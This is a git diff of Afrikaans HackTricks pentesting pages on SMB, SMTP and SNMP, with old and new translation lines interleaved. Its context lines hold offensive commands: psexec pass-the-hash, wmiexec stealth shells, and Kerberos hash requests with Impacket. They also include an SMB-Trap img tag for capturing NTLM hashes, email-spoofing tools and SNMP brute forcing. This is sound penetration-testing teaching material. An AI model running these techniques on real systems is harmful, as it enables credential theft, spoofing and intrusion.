- [**CrackMapExec**](https://wiki.porchetta.industries/smb-protocol/spidering-shares) spin.
- `-M spider_plus [--share <share_name>]`
- `--pattern txt`
```bash
@ -329,15 +329,15 @@ sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a87
Die **standaardkonfigurasie van** 'n **Samba** bediener is gewoonlik geleë in `/etc/samba/smb.conf` en mag 'n paar **gevaarlike konfigurasies** hê:
| **Instelling** | **Beskrywing** |
| --------------------------- | ----------------------------------------------------------------- |
| `browseable = yes` | Laat toe om beskikbare gedeeltes in die huidige gedeelte te lys? |
| --------------------------- | ------------------------------------------------------------------- |
| `browseable = yes` | Laat toe om beskikbare gedeeltes in die huidige gedeelte te lys? |
| `read only = no` | Verbied die skepping en wysiging van lêers? |
| `writable = yes` | Laat gebruikers toe om lêers te skep en te wysig? |
| `guest ok = yes` | Laat toe om aan die diens te koppel sonder om 'n wagwoord te gebruik? |
| `enable privileges = yes` | Eer die privilige wat aan spesifieke SID toegeken is? |
| `guest ok = yes` | Laat verbinding met die diens toe sonder om 'n wagwoord te gebruik?|
| `enable privileges = yes` | Eer die priviliges wat aan spesifieke SID toegeken is? |
| `create mask = 0777` | Watter regte moet aan die nuutgeskepte lêers toegeken word? |
| `directory mask = 0777` | Watter regte moet aan die nuutgeskepte gidse toegeken word? |
| `logon script = script.sh` | Watter skrip moet uitgevoer word wanneer die gebruiker aanmeld? |
| `logon script = script.sh` | Watter skrip moet uitgevoer word wanneer die gebruiker aanmeld? |
| `magic script = script.sh` | Watter skrip moet uitgevoer word wanneer die skrip gesluit word? |
| `magic output = script.out` | Waar moet die uitvoer van die magiese skrip gestoor word? |
@ -388,11 +388,11 @@ In **kali** is dit geleë op /usr/share/doc/python3-impacket/examples/
psexec \\192.168.122.66 -u Administrator -p 123456Ww
psexec \\192.168.122.66 -u Administrator -p q23q34t34twd3w34t34wtw34t # Use pass the hash
```
Gebruik **parameter**`-k` om teen **kerberos** te autentiseer in plaas van **NTLM**
Met **parameter** `-k` kan jy teen **kerberos** autentiseer in plaas van **NTLM**.
### [wmiexec](../../windows-hardening/lateral-movement/wmiexec.md)/dcomexec
Stealthily voer 'n opdrag shell uit sonder om die skyf te raak of 'n nuwe diens te begin deur DCOM via **port 135.**\
Stealthily voer 'n opdrag shell uit sonder om die skyf aan te raak of 'n nuwe diens te laat loop deur DCOM via **poort 135.**\
In **kali** is dit geleë op /usr/share/doc/python3-impacket/examples/
```bash
#If no password is provided, it will be prompted
@ -433,7 +433,7 @@ Hierdie aanval gebruik die Responder toolkit om **SMB-authentikasiesessies** op
## SMB-Trap
Die Windows biblioteek URLMon.dll probeer outomaties om te autentiseer met die gasheer wanneer 'n bladsy probeer om toegang te verkry tot 'n paar inhoud via SMB, byvoorbeeld: `img src="\\10.10.10.10\path\image.jpg"`
Die Windows biblioteek URLMon.dll probeer outomaties om te autentiseer by die gasheer wanneer 'n bladsy probeer om toegang te verkry tot 'n paar inhoud via SMB, byvoorbeeld: `img src="\\10.10.10.10\path\image.jpg"`
Dit gebeur met die funksies:
@ -444,17 +444,17 @@ Dit gebeur met die funksies:
Wat deur sommige blaaiers en gereedskap (soos Skype) gebruik word.
![From: http://www.elladodelmal.com/2017/02/como-hacer-ataques-smbtrap-windows-con.html](<../../images/image (358).png>)
![Van: http://www.elladodelmal.com/2017/02/como-hacer-ataques-smbtrap-windows-con.html](<../../images/image (358).png>)
### SMBTrap met MitMf
![From: http://www.elladodelmal.com/2017/02/como-hacer-ataques-smbtrap-windows-con.html](<../../images/image (892).png>)
![Van: http://www.elladodelmal.com/2017/02/como-hacer-ataques-smbtrap-windows-con.html](<../../images/image (892).png>)
## NTLM Diefstal
Soos SMB Trap, kan die plant van kwaadwillige lêers op 'n teikenstelsel (via SMB, byvoorbeeld) 'n SMB-authentikasiepoging uitlok, wat die NetNTLMv2-hash toelaat om met 'n hulpmiddel soos Responder onderskep te word. Die hash kan dan offline gekraak of in 'n [SMB relay aanval](#smb-relay-attack) gebruik word.
Soos SMB Trap, kan die plant van kwaadwillige lêers op 'n teikenstelsel (via SMB, byvoorbeeld) 'n SMB-authentikasiepoging uitlok, wat die NetNTLMv2-hash toelaat om met 'n hulpmiddel soos Responder onderskep te word. Die hash kan dan offline gekraak of in 'n [SMB relay aanval](#smb-relay-aanval) gebruik word.
[See: ntlm_theft](../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md#ntlm_theft)
[ sien: ntlm_diefstal](../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md#ntlm_theft)
## HackTricks Outomatiese Opdragte
```
@ -496,7 +496,7 @@ GetADUsers.py {Domain_Name}/{Username}:{Password} -all
GetNPUsers.py {Domain_Name}/{Username}:{Password} -request -format hashcat
GetUserSPNs.py {Domain_Name}/{Username}:{Password} -request
https://book.hacktricks.xyz/pentesting/pentesting-smb
https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-smb/index.html
Entry_2:
Name: Enum4Linux

View File

@ -6,7 +6,7 @@
Die **Simple Mail Transfer Protocol (SMTP)** is 'n protokol wat binne die TCP/IP-suite gebruik word vir die **stuur en ontvang van e-pos**. Vanweë sy beperkings in die opstel van boodskappe aan die ontvanger se kant, word SMTP dikwels saam met **POP3 of IMAP** gebruik. Hierdie bykomende protokolle stel gebruikers in staat om boodskappe op 'n bediener se posbus te stoor en om dit periodiek af te laai.
In praktyk is dit algemeen dat **e-posprogramme** **SMTP gebruik om e-posse te stuur**, terwyl **POP3 of IMAP gebruik word om dit te ontvang**. Op stelsels wat op Unix gebaseer is, is **sendmail** die SMTP-bediener wat die meeste gebruik word vir e-posdoeleindes. Die kommersiële pakket bekend as Sendmail sluit 'n POP3-bediener in. Verder bied **Microsoft Exchange** 'n SMTP-bediener en die opsie om POP3-ondersteuning in te sluit.
In praktyk is dit algemeen dat **e-posprogramme** **SMTP gebruik om e-posse te stuur**, terwyl **POP3 of IMAP gebruik word om dit te ontvang**. Op stelsels wat op Unix gebaseer is, is **sendmail** die SMTP-bediener wat die meeste vir e-posdoeleindes gebruik word. Die kommersiële pakket bekend as Sendmail sluit 'n POP3-bediener in. Verder bied **Microsoft Exchange** 'n SMTP-bediener en die opsie om POP3-ondersteuning in te sluit.
**Standaard poort:** 25,465(ssl),587(ssl)
```
@ -15,11 +15,11 @@ PORT STATE SERVICE REASON VERSION
```
### EMAIL Headers
As jy die geleentheid het om die **slagoffer 'n e-pos te laat stuur** (via kontakvorm van die webblad byvoorbeeld), doen dit omdat **jy oor die interne topologie** van die slagoffer kan leer deur die koptekste van die e-pos te sien.
As jy die geleentheid het om die **slagoffer 'n e-pos te laat stuur** (via kontakvorm van die webblad byvoorbeeld), doen dit omdat **jy oor die interne topologie** van die slagoffer kan leer deur die koppe van die e-pos te sien.
Jy kan ook 'n e-pos van 'n SMTP-bediener kry deur te probeer **'n e-pos na daardie bediener te stuur na 'n nie-bestaande adres** (omdat die bediener 'n NDN-e-pos aan die aanvaller sal stuur). Maar, maak seker dat jy die e-pos van 'n toegelate adres stuur (kontroleer die SPF-beleid) en dat jy NDN-boodskappe kan ontvang.
Jy moet ook probeer om **verskillende inhoud te stuur omdat jy meer interessante inligting** op die koptekste kan vind soos: `X-Virus-Scanned: by av.domain.com`\
Jy moet ook probeer om **verskillende inhoud te stuur omdat jy meer interessante inligting** op die koppe kan vind soos: `X-Virus-Scanned: by av.domain.com`\
Jy moet die EICAR-toetslêer stuur.\
Die opsporing van die **AV** mag jou in staat stel om **bekende kwesbaarhede** te benut.
@ -36,7 +36,7 @@ nc -vn <IP> 25
openssl s_client -crlf -connect smtp.mailgun.org:465 #SSL/TLS without starttls command
openssl s_client -starttls smtp -crlf -connect smtp.mailgun.org:587
```
### Vind MX bedieners van 'n organisasie
### Vind MX-bedieners van 'n organisasie
```bash
dig +short mx google.com
```
@ -219,7 +219,7 @@ print("[***]successfully sent email to %s:" % (msg['To']))
## SMTP Smuggling
SMTP Smuggling kwesbaarheid het dit moontlik gemaak om al die SMTP beskermings te omseil (kyk die volgende afdeling vir meer inligting oor beskermings). Vir meer inligting oor SMTP Smuggling kyk:
SMTP Smuggling kwesbaarheid het toegelaat om al die SMTP beskermings te omseil (kyk die volgende afdeling vir meer inligting oor beskermings). Vir meer inligting oor SMTP Smuggling, kyk:
{{#ref}}
smtp-smuggling.md
@ -237,7 +237,7 @@ Organisasies word verhinder om ongeoorloofde e-pos namens hulle te laat stuur de
> SPF [is "verouderd" in 2014](https://aws.amazon.com/premiumsupport/knowledge-center/route53-spf-record/). Dit beteken dat jy in plaas daarvan om 'n **TXT rekord** in `_spf.domain.com` te skep, dit in `domain.com` moet skep met die **dieselfde sintaksis**.\
> Boonop, om vorige spf rekords te hergebruik, is dit redelik algemeen om iets soos `"v=spf1 include:_spf.google.com ~all"` te vind.
**Sender Policy Framework** (SPF) is 'n mechanisme wat Mail Transfer Agents (MTAs) in staat stel om te verifieer of 'n gasheer wat 'n e-pos stuur, geautoriseer is deur 'n lys van geautoriseerde e-pos bedieners wat deur die organisasies gedefinieer is, te vra. Hierdie lys, wat IP adresse/reekse, domeine, en ander entiteite **geautoriseer om e-pos namens 'n domeinnaam te stuur**, sluit verskeie "**Mechanismes**" in die SPF rekord in.
**Sender Policy Framework** (SPF) is 'n mechanisme wat Mail Transfer Agents (MTAs) in staat stel om te verifieer of 'n gasheer wat 'n e-pos stuur, geoutoriseer is deur 'n lys van geoutoriseerde e-pos bedieners wat deur die organisasies gedefinieer is, te vra. Hierdie lys, wat IP adresse/reekse, domeine, en ander entiteite **geoutoriseer om e-pos namens 'n domeinnaam te stuur**, sluit verskeie "**Mechanismes**" in die SPF rekord in.
#### Mechanismes
@ -253,16 +253,16 @@ Van [Wikipedia](https://en.wikipedia.org/wiki/Sender_Policy_Framework):
| PTR | As die domeinnaam (PTR rekord) vir die kliënt se adres in die gegewe domein is en daardie domeinnaam na die kliënt se adres oplos (voorwaarts-bevestigde omgekeerde DNS), pas. Hierdie mechanisme word ontmoedig en moet vermy word, indien moontlik. |
| EXISTS | As die gegewe domeinnaam na enige adres oplos, pas (maak nie saak na watter adres dit oplos nie). Dit word selde gebruik. Saam met die SPF makro-taal bied dit meer komplekse pasvorms soos DNSBL-vrae. |
| INCLUDE | Verwys na die beleid van 'n ander domein. As daardie domein se beleid slaag, slaag hierdie mechanisme. As die ingeslote beleid egter misluk, gaan verwerking voort. Om heeltemal aan 'n ander domein se beleid te delegeer, moet die herlei uitbreiding gebruik word. |
| REDIRECT | <p> 'n Herlei is 'n aanduiding na 'n ander domeinnaam wat 'n SPF beleid huisves, dit stel verskeie domeine in staat om dieselfde SPF beleid te deel. Dit is nuttig wanneer daar met 'n groot aantal domeine gewerk word wat dieselfde e-pos infrastruktuur deel.</p><p>Die SPF beleid van die domein aangedui in die herlei Mechanisme sal gebruik word.</p> |
| REDIRECT | <p> 'n Herlei is 'n aanduiding na 'n ander domeinnaam wat 'n SPF beleid huisves, dit stel verskeie domeine in staat om dieselfde SPF beleid te deel. Dit is nuttig wanneer daar met 'n groot aantal domeine gewerk word wat dieselfde e-pos infrastruktuur deel.</p><p>Die SPF beleid van die domein wat in die herlei Mechanisme aangedui word, sal gebruik word.</p> |
Dit is ook moontlik om **Kwalifiseerders** te identifiseer wat aandui **wat gedoen moet word as 'n mechanisme pas**. Standaard word die **kwalifiseerder "+"** gebruik (so as enige mechanisme pas, beteken dit dit is toegelaat).\
Jy sal gewoonlik **aan die einde van elke SPF beleid** iets soos: **\~all** of **-all** opgemerk. Dit word gebruik om aan te dui dat **as die sender nie aan enige SPF beleid voldoen nie, jy die e-pos as onbetroubaar (\~) moet merk of die e-pos moet verwerp (-) word.**
Jy sal gewoonlik **aan die einde van elke SPF beleid** iets soos: **\~all** of **-all** opgemerk. Dit word gebruik om aan te dui dat **as die sender nie aan enige SPF beleid voldoen nie, jy die e-pos as onbetroubaar (\~) of verwerp (-) moet merk.**
#### Kwalifiseerders
Elke mechanisme binne die beleid kan voorafgegaan word deur een van vier kwalifiseerders om die beoogde resultaat te definieer:
- **`+`**: Kom ooreen met 'n PASS resultaat. Standaard neem mechanismes aan dat hierdie kwalifiseerder geld, wat `+mx` gelyk is aan `mx`.
- **`+`**: Kom ooreen met 'n PASS resultaat. Standaard neem mechanismes hierdie kwalifiseerder aan, wat `+mx` gelyk is aan `mx`.
- **`?`**: Verteenwoordig 'n NEUTRALE resultaat, wat soortgelyk behandel word aan NONE (geen spesifieke beleid).
- **`~`**: Dui SOFTFAIL aan, wat as 'n middelgrond tussen NEUTRAAL en FAIL dien. E-posse wat aan hierdie resultaat voldoen, word gewoonlik aanvaar maar dienooreenkomstig gemerk.
- **`-`**: Dui FAIL aan, wat suggereer dat die e-pos heeltemal verwerp moet word.
@ -286,7 +286,7 @@ _netblocks2.google.com. 1908 IN TXT "v=spf1 ip6:2001:4860:4000::/36
dig txt _netblocks3.google.com | grep spf
_netblocks3.google.com. 1903 IN TXT "v=spf1 ip4:172.217.0.0/19 ip4:172.217.32.0/20 ip4:172.217.128.0/19 ip4:172.217.160.0/20 ip4:172.217.192.0/19 ip4:172.253.56.0/21 ip4:172.253.112.0/20 ip4:108.177.96.0/19 ip4:35.191.0.0/16 ip4:130.211.0.0/22 ~all"
```
Tradisioneel was dit moontlik om enige domeinnaam te spoof wat nie 'n korrekte/ enige SPF rekord gehad het nie. **Tans**, as **e-pos** van 'n **domein sonder 'n geldige SPF rekord** kom, gaan dit waarskynlik **automaties verwerp/ as onbetroubaar gemerk word**.
Tradisioneel was dit moontlik om enige domeinnaam te spoof wat nie 'n korrekte/enige SPF rekord gehad het nie. **Tans**, as **e-pos** van 'n **domein sonder 'n geldige SPF rekord** kom, gaan dit waarskynlik **automaties verwerp/merk as onbetroubaar**.
Om die SPF van 'n domein te kontroleer, kan jy aanlyn gereedskap soos: [https://www.kitterman.com/spf/validate.html](https://www.kitterman.com/spf/validate.html)
@ -296,15 +296,15 @@ DKIM word gebruik om uitgaande e-posse te teken, wat hul validasie deur eksterne
Byvoorbeeld, om die sleutel aan te vra, is die domeinnaam en selektor noodsaaklik. Hierdie kan in die e-pos kop `DKIM-Signature` gevind word, bv. `d=gmail.com;s=20120113`.
'n Opdrag om hierdie inligting te verkry kan soos volg lyk:
'n Opdrag om hierdie inligting te verkry, kan soos volg lyk:
```bash
dig 20120113._domainkey.gmail.com TXT | grep p=
# This command would return something like:
20120113._domainkey.gmail.com. 280 IN TXT "k=rsa\; p=MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA1Kd87/UeJjenpabgbFwh+eBCsSTrqmwIYYvywlbhbqoo2DymndFkbjOVIPIldNs/m40KF+yzMn1skyoxcTUGCQs8g3
```
### DMARC (Domein-gebaseerde Boodskapoutentisering, Verslagdoening & Nakoming)
### DMARC (Domein-gebaseerde Boodskap Outentisering, Verslagdoening & Nakoming)
DMARC verbeter e-pos sekuriteit deur op SPF en DKIM protokolle te bou. Dit skets beleide wat posbedieners lei in die hantering van e-posse van 'n spesifieke domein, insluitend hoe om met outentiseringsfoute om te gaan en waar om verslae oor e-posverwerkingsaksies te stuur.
DMARC verbeter e-pos sekuriteit deur op SPF en DKIM protokolle te bou. Dit skets beleide wat posbedieners lei in die hantering van e-posse van 'n spesifieke domein, insluitend hoe om met outentikasiefoute om te gaan en waar om verslae oor e-posverwerkingsaksies te stuur.
**Om die DMARC rekord te verkry, moet jy die subdomein \_dmarc navraag doen**
```bash
@ -337,7 +337,7 @@ _dmarc.bing.com. 3600 IN TXT "v=DMARC1; p=none; pct=100; rua=mailto:BingEmailDMA
**Van** [**hier**](https://serverfault.com/questions/322949/do-spf-records-for-primary-domain-apply-to-subdomains)**.**\
Jy moet aparte SPF-rekords hê vir elke subdomein waarvan jy e-pos wil stuur.\
Die volgende is oorspronklik op openspf.org gepos, wat voorheen 'n uitstekende hulpbron vir hierdie soort dinge was.
Die volgende is oorspronklik op openspf.org gepos, wat eens 'n uitstekende hulpbron vir hierdie soort dinge was.
> Die Demon Vraag: Wat van subdomeine?
>
@ -357,7 +357,7 @@ Wanneer e-posse gestuur word, is dit van kardinale belang om te verseker dat hul
```bash
mynetworks = 0.0.0.0/0
```
Om te kontroleer of 'n e-posbediener 'n oop relay is (wat beteken dat dit e-pos van enige eksterne bron kan deurstuur), word die `nmap`-instrument algemeen gebruik. Dit sluit 'n spesifieke skrip in wat ontwerp is om dit te toets. Die opdrag om 'n gedetailleerde skandering op 'n bediener (byvoorbeeld, met IP 10.10.10.10) op poort 25 met behulp van `nmap` uit te voer, is:
Om te kontroleer of 'n e-posbediener 'n oop relais is (wat beteken dat dit e-pos van enige eksterne bron kan deurstuur), word die `nmap`-instrument algemeen gebruik. Dit sluit 'n spesifieke skrif in wat ontwerp is om dit te toets. Die opdrag om 'n gedetailleerde skandering op 'n bediener (byvoorbeeld, met IP 10.10.10.10) op poort 25 met behulp van `nmap` uit te voer, is:
```bash
nmap -p25 --script smtp-open-relay 10.10.10.10 -v
```
@ -366,7 +366,7 @@ nmap -p25 --script smtp-open-relay 10.10.10.10 -v
- [**https://github.com/serain/mailspoof**](https://github.com/serain/mailspoof) **Kontroleer vir SPF en DMARC miskonfigurasies**
- [**https://pypi.org/project/checkdmarc/**](https://pypi.org/project/checkdmarc/) **Kry outomaties SPF en DMARC konfigurasies**
### Stuur Spoof E-pos
### Stuur Vals E-pos
- [**https://www.mailsploit.com/index**](https://www.mailsploit.com/index)
- [**http://www.anonymailer.net/**](http://www.anonymailer.net)
@ -382,8 +382,8 @@ python3 magicspoofmail.py -d victim.com -t -e destination@gmail.com
python3 magicspoofmail.py -d victim.com -t -e destination@gmail.com --subject TEST --sender administrator@victim.com
```
> [!WARNING]
> As jy enige **fout kry met die dkim python lib** wat die sleutel ontleed, voel vry om hierdie een te gebruik.\
> **NOTA**: Dit is net 'n vuil oplossing om vinnige kontrole te doen in gevalle waar die openssl private sleutel **nie deur dkim ontleed kan word** nie.
> As jy enige **fout kry met die dkim python lib** terwyl jy die sleutel ontleed, voel vry om hierdie een te gebruik.\
> **NOTA**: Dit is net 'n vuil oplossing om vinnige kontroles te doen in gevalle waar die openssl private sleutel **nie deur dkim ontleed kan word** nie.
>
> ```
> -----BEGIN RSA PRIVATE KEY-----
@ -496,7 +496,7 @@ s.sendmail(sender, [destination], msg_data)
### Postfix
Gewoonlik, as dit geïnstalleer is, bevat `/etc/postfix/master.cf` **scripts om uit te voer** wanneer 'n nuwe e-pos byvoorbeeld deur 'n gebruiker ontvang word. Byvoorbeeld, die lyn `flags=Rq user=mark argv=/etc/postfix/filtering-f ${sender} -- ${recipient}` beteken dat `/etc/postfix/filtering` uitgevoer sal word as 'n nuwe e-pos deur die gebruiker mark ontvang word.
Gewoonlik, as dit geïnstalleer is, in `/etc/postfix/master.cf` bevat **scripts om uit te voer** wanneer byvoorbeeld 'n nuwe e-pos deur 'n gebruiker ontvang word. Byvoorbeeld, die lyn `flags=Rq user=mark argv=/etc/postfix/filtering-f ${sender} -- ${recipient}` beteken dat `/etc/postfix/filtering` uitgevoer sal word as 'n nuwe e-pos deur die gebruiker mark ontvang word.
Ander konfigurasie lêers:
```
@ -520,7 +520,7 @@ Description: Notes for SMTP
Note: |
SMTP (Simple Mail Transfer Protocol) is a TCP/IP protocol used in sending and receiving e-mail. However, since it is limited in its ability to queue messages at the receiving end, it is usually used with one of two other protocols, POP3 or IMAP, that let the user save messages in a server mailbox and download them periodically from the server.
https://book.hacktricks.xyz/pentesting/pentesting-smtp
https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-smtp/index.html
Entry_2:
Name: Banner Grab

View File

@ -15,8 +15,8 @@ PORT STATE SERVICE REASON VERSION
### MIB
Om te verseker dat SNMP-toegang werk oor vervaardigers en met verskillende kliënt-bediener kombinasies, is die **Management Information Base (MIB)** geskep. MIB is 'n **onafhanklike formaat vir die stoor van toestel-inligting**. 'n MIB is 'n **tekst** lêer waarin al die navraagbare **SNMP-objekte** van 'n toestel in 'n **gestandaardiseerde** boomhiërargie gelys is. Dit bevat ten minste een `Object Identifier` (`OID`), wat, benewens die nodige **unieke adres** en 'n **naam**, ook inligting verskaf oor die tipe, toegangregte, en 'n beskrywing van die onderskeie objek.\
MIB-lêers is geskryf in die `Abstract Syntax Notation One` (`ASN.1`) gebaseerde ASCII teksformaat. Die **MIBs bevat nie data nie**, maar verduidelik **waar om watter inligting te vind** en hoe dit lyk, wat waardes vir die spesifieke OID teruggee, of watter datatipe gebruik word.
Om te verseker dat SNMP-toegang oor vervaardigers en met verskillende kliënt-bediener kombinasies werk, is die **Management Information Base (MIB)** geskep. MIB is 'n **onafhanklike formaat vir die stoor van toestel-inligting**. 'n MIB is 'n **tekst** lêer waarin al die navraagbare **SNMP-objekte** van 'n toestel in 'n **gestandaardiseerde** boomhiërargie gelys word. Dit bevat ten minste een `Object Identifier` (`OID`), wat, benewens die nodige **unieke adres** en 'n **naam**, ook inligting oor die tipe, toegangregte, en 'n beskrywing van die onderskeie objek verskaf.\
MIB-lêers is geskryf in die `Abstract Syntax Notation One` (`ASN.1`) gebaseerde ASCII teksformaat. Die **MIBs bevat nie data nie**, maar hulle verduidelik **waar om watter inligting te vind** en hoe dit lyk, wat waardes vir die spesifieke OID teruggee, of watter datatipe gebruik word.
### OIDs
@ -29,7 +29,7 @@ Verder word verskaffers die vryheid gegee om private takke te vestig. Binne hier
![](<../../images/SNMP_OID_MIB_Tree (1).png>)
Jy kan **navigeer** deur 'n **OID-boom** vanaf die web hier: [http://www.oid-info.com/cgi-bin/display?tree=#focus](http://www.oid-info.com/cgi-bin/display?tree=#focus) of **sien wat 'n OID beteken** (soos `1.3.6.1.2.1.1`) deur toegang te verkry tot [http://oid-info.com/get/1.3.6.1.2.1.1](http://oid-info.com/get/1.3.6.1.2.1.1).\
Daar is 'n paar **goed bekende OIDs** soos die wat binne [1.3.6.1.2.1](http://oid-info.com/get/1.3.6.1.2.1) verwys na MIB-2 gedefinieerde Simple Network Management Protocol (SNMP) veranderlikes. En van die **OIDs wat van hierdie een wag** kan jy 'n paar interessante gasheerdata verkry (stelseldatas, netwerkdata, prosesdata...)
Daar is 'n paar **goed bekende OIDs** soos diegene binne [1.3.6.1.2.1](http://oid-info.com/get/1.3.6.1.2.1) wat MIB-2 gedefinieerde Simple Network Management Protocol (SNMP) veranderlikes verwys. En van die **OIDs wat van hierdie een wag** kan jy 'n paar interessante gasheerdata verkry (sisteemdata, netwerkdata, prosesdata...)
### **OID Voorbeeld**
@ -40,7 +40,7 @@ Daar is 'n paar **goed bekende OIDs** soos die wat binne [1.3.6.1.2.1](http://oi
Hier is 'n ontleding van hierdie adres.
- 1 dit word die ISO genoem en dit vestig dat dit 'n OID is. Dit is waarom alle OIDs met "1" begin.
- 3 dit word ORG genoem en dit word gebruik om die organisasie wat die toestel gebou het, spesifiek aan te dui.
- 3 dit word ORG genoem en dit word gebruik om die organisasie wat die toestel gebou het, aan te dui.
- 6 dit is die dod of die Departement van Verdediging wat die organisasie is wat die Internet eerste gevestig het.
- 1 dit is die waarde van die internet om aan te dui dat alle kommunikasie deur die Internet sal plaasvind.
- 4 hierdie waarde bepaal dat hierdie toestel deur 'n private organisasie gemaak is en nie 'n regeringsorganisasie nie.
@ -52,7 +52,7 @@ Gaan voort na die volgende stel nommers.
- 1452 gee die naam van die organisasie wat hierdie toestel vervaardig het.
- 1 verduidelik die tipe toestel. In hierdie geval is dit 'n alarmklok.
- 2 bepaal dat hierdie toestel 'n afstandsbedieningseenheid is.
- 2 bepaal dat hierdie toestel 'n afstandsterminaal eenheid is.
Die res van die waardes gee spesifieke inligting oor die toestel.
@ -79,7 +79,7 @@ Daar is **2 tipes gemeenskapsstrings**:
- **`public`** hoofsaaklik **lees net** funksies
- **`private`** **Lees/Skryf** in die algemeen
Let daarop dat **die skryfbaarheid van 'n OID afhang van die gemeenskapsstring wat gebruik word**, so **selfs** as jy vind dat "**public**" gebruik word, kan jy dalk **sekere waardes skryf.** Daar **kan** ook voorwerpe wees wat **altyd "Lees Net"** is.\
Let daarop dat **die skryfbaarheid van 'n OID afhang van die gemeenskapsstring wat gebruik word**, so **selfs** as jy vind dat "**public**" gebruik word, kan jy dalk in staat wees om **sekere waardes te skryf.** Daar **kan** ook voorwerpe wees wat **altyd "Lees Net"** is.\
As jy probeer om 'n objek te **skryf**, sal 'n **`noSuchName` of `readOnly` fout** ontvang word\*\*.\*\*
In weergawes 1 en 2/2c, as jy 'n **slegte** gemeenskapsstring gebruik, sal die bediener nie **reageer** nie. So, as dit reageer, is 'n **geldige gemeenskapsstring gebruik**.
@ -98,7 +98,7 @@ Om die **gemeenskapsstring te raai** kan jy 'n woordeboekaanval uitvoer. Kyk [hi
## Enumerating SNMP
Dit word aanbeveel om die volgende te installeer om te sien wat **elke OID wat van die toestel versamel is, beteken**:
Dit word aanbeveel om die volgende te installeer om te sien wat **elke OID wat van die toestel versamel is, beteken:**
```bash
apt-get install snmp-mibs-downloader
download-mibs
@ -121,13 +121,13 @@ nmap --script "snmp* and not snmp-brute" <target>
braa <community string>@<IP>:.1.3.6.* #Bruteforce specific OID
```
Dankie aan uitgebreide navrae (download-mibs), is dit moontlik om selfs meer oor die stelsel te enumerate met die volgende opdrag :
Dankie aan uitgebreide navrae (download-mibs), is dit moontlik om selfs meer oor die stelsel te enumerate met die volgende opdrag:
```bash
snmpwalk -v X -c public <IP> NET-SNMP-EXTEND-MIB::nsExtendOutputFull
```
**SNMP** het baie inligting oor die gasheer en dinge wat jy dalk interessant sal vind, is: **Netwerk interfaces** (IPv4 en **IPv6** adres), gebruikersname, uptime, bediener/OS weergawe, en **prosesse**
**SNMP** het baie inligting oor die gasheer en dinge wat jy dalk interessant sal vind, is: **Netwerkinterfaces** (IPv4 en **IPv6** adres), gebruikersname, uptime, bediener/OS weergawe, en **prosesse**
**wat** (kan wagwoorde bevat)....
**wat loop** (kan wagwoorde bevat)....
### **Gevaarlike Instellings**
@ -135,30 +135,30 @@ In die wêreld van netwerkbestuur is sekere konfigurasies en parameters sleutel
### Toegang Instellings
Twee hoofinstellings stel toegang tot die **volledige OID boom** moontlik, wat 'n belangrike komponent in netwerkbestuur is:
Twee hoofinstellings stel toegang tot die **volledige OID-boom** moontlik, wat 'n belangrike komponent in netwerkbestuur is:
1. **`rwuser noauth`** is ingestel om volle toegang tot die OID boom toe te laat sonder die behoefte aan verifikasie. Hierdie instelling is eenvoudig en laat onbeperkte toegang toe.
1. **`rwuser noauth`** is ingestel om volle toegang tot die OID-boom toe te laat sonder die behoefte aan verifikasie. Hierdie instelling is eenvoudig en laat onbeperkte toegang toe.
2. Vir meer spesifieke beheer kan toegang toegestaan word met:
- **`rwcommunity`** vir **IPv4** adresse, en
- **`rwcommunity6`** vir **IPv6** adresse.
Albei opdragte vereis 'n **gemeenskapsstring** en die relevante IP adres, wat volle toegang bied ongeag die oorsprong van die versoek.
Albei opdragte vereis 'n **gemeenskapsstring** en die relevante IP-adres, wat volle toegang bied ongeag die oorsprong van die versoek.
### SNMP Parameters vir Microsoft Windows
'n Reeks van **Bestuur Inligting Basis (MIB) waardes** word gebruik om verskeie aspekte van 'n Windows-stelsel deur SNMP te monitor:
'n Reeks van **Management Information Base (MIB) waardes** word gebruik om verskeie aspekte van 'n Windows-stelsel deur SNMP te monitor:
- **Stelsel Prosesse**: Toegang via `1.3.6.1.2.1.25.1.6.0`, hierdie parameter stel die monitering van aktiewe prosesse binne die stelsel moontlik.
- **Hardloop Programme**: Die `1.3.6.1.2.1.25.4.2.1.2` waarde is aangewys vir die opsporing van tans hardloop programme.
- **Prosesse Pad**: Om te bepaal waar 'n proses van hardloop, word die `1.3.6.1.2.1.25.4.2.1.4` MIB waarde gebruik.
- **Berging Eenhede**: Die monitering van berging eenhede word gefasiliteer deur `1.3.6.1.2.1.25.2.3.1.4`.
- **Sagtemak Naam**: Om die sagteware wat op 'n stelsel geïnstalleer is te identifiseer, word `1.3.6.1.2.1.25.6.3.1.2` gebruik.
- **Gebruikers Rekeninge**: Die `1.3.6.1.4.1.77.1.2.25` waarde stel die opsporing van gebruikers rekeninge moontlik.
- **Stelselsprosesse**: Toegang via `1.3.6.1.2.1.25.1.6.0`, hierdie parameter stel die monitering van aktiewe prosesse binne die stelsel moontlik.
- **Lopende Programme**: Die `1.3.6.1.2.1.25.4.2.1.2` waarde is aangewys vir die opsporing van tans lopende programme.
- **Prosesse Pad**: Om te bepaal waar 'n proses van loop, word die `1.3.6.1.2.1.25.4.2.1.4` MIB waarde gebruik.
- **Bergingseenhede**: Die monitering van bergingseenhede word gefasiliteer deur `1.3.6.1.2.1.25.2.3.1.4`.
- **Sagteware Naam**: Om die sagteware wat op 'n stelsel geïnstalleer is te identifiseer, word `1.3.6.1.2.1.25.6.3.1.2` gebruik.
- **Gebruikersrekeninge**: Die `1.3.6.1.4.1.77.1.2.25` waarde stel die opsporing van gebruikersrekeninge moontlik.
- **TCP Plaaslike Poorte**: Laastens, `1.3.6.1.2.1.6.13.1.3` is aangewys vir die monitering van TCP plaaslike poorte, wat insig bied in aktiewe netwerkverbindinge.
### Cisco
Kyk na hierdie bladsy as jy Cisco toerusting het:
Kyk na hierdie bladsy as jy Cisco-toerusting het:
{{#ref}}
cisco-snmp.md
@ -166,7 +166,7 @@ cisco-snmp.md
## Van SNMP na RCE
As jy die **string** het wat jou toelaat om **waardes** binne die SNMP diens te **skryf**, mag jy dit kan misbruik om **opdragte** uit te voer:
As jy die **string** het wat jou toelaat om **waardes** binne die SNMP-diens te **skryf**, mag jy dit kan misbruik om **opdragte** uit te voer:
{{#ref}}
snmp-rce.md
@ -174,11 +174,11 @@ snmp-rce.md
## **Massiewe SNMP**
